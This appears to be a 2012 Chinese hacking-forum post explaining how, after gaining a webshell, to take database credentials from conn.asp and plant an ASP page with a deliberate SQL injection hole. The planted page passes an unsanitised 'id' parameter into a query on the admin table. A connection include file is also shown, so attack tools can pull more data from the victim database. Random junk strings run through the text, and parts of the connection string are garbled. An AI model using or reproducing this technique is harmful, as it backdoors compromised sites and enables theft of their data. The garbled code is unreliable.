找回密码
 立即注册
查看: 2532|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
0 M- N1 q& C+ H6 \: E) d' w
$ R7 y' p4 \/ Q" _; k! k今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
' i# k1 n% Y, ?* q, ]
, c6 n4 d0 n. e' a/ f) u7 k这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
( F4 _8 L/ u& x, u* }
% e, F' S0 m! N" R首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和# y& c  g6 _, k( N
! {1 P% o8 R, y3 e
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
) q7 X. ]& Q/ U/ l/ m8 p# \% C1 |, G3 }) w
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:5 e: i% U1 g" [. m: _  C& \
3 \6 }" ~' C) @" D. {0 w
程序代码7 X3 g% @5 j. B! u4 g$ }0 q& l
<!--#include file="xx.asp"-->! {5 f! o$ I* o5 c  \* l
<%( b! F# {1 i& o; [- g
set rs=server.createobject("ADODB.recordset")
& ~$ r0 p! h' a* E8 b) q' Jid = request("id")
1 n( a4 T/ K" K4 l3 j$ x3 dstrSQL = "select * from admin where id=" & id
! x3 j# ?+ ?% V# _: {5 @" irs.open strSQL,conn,1,33 R4 L3 D2 r, t
rs.close
9 W* T, V( O, f%>
- x; I6 @5 }: ^+ X" e$ H+ `, @) E: M! s' c
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
( I& h5 Z' O( S9 D2 R, d  ?4 Z! N) d8 c; Q" ]/ H
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
# E; m6 T0 \' \( |% P" @" @
" M9 S8 }! ?7 J然后就要构造一个连接数据库的文件了,代码如下:1 U7 B0 V# I$ y, {
程序代码
' F- l7 F( h* c  b2 h: Z+ I/ Y- F<%        + f3 o. V8 n; Y* c# x- V) Z
strSQLServerName = "000.000.000.000"     '服务器名称或地址
" |! x9 l+ a+ w/ a2 A7 d3 ~) gstrSQLDBUserName = "sqlname"         '数据库帐号
5 h; k% J, H% r9 E$ R( OstrSQLDBPassword = "sqlpass"         '数据库密码
/ Y+ t( @7 W: VstrSQLDBName = "sqldataname"           '数据库名称1 h* f9 Y# X* ]  l
Set conn = Server.CreateObject("ADODB.Connection")5 B. a/ G3 G' d4 l8 y- N* F
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
; J; s0 }( N5 J7 T% ]0 k" W7 Gconn.open strCon
( u" c  e  K1 l%>8 g% y# e+ H, k
4 ]' r" d0 o5 ^6 s+ f7 A
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,; d# L2 z- c( y
% l) H/ W: |% J0 i1 ^+ U) K7 g3 J
就这样,正常情况下,就OK了,伪造成功……; W6 e. i$ n4 _, h; v0 ^

8 i' J/ p6 |3 y! d7 B5 k! u6 k           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表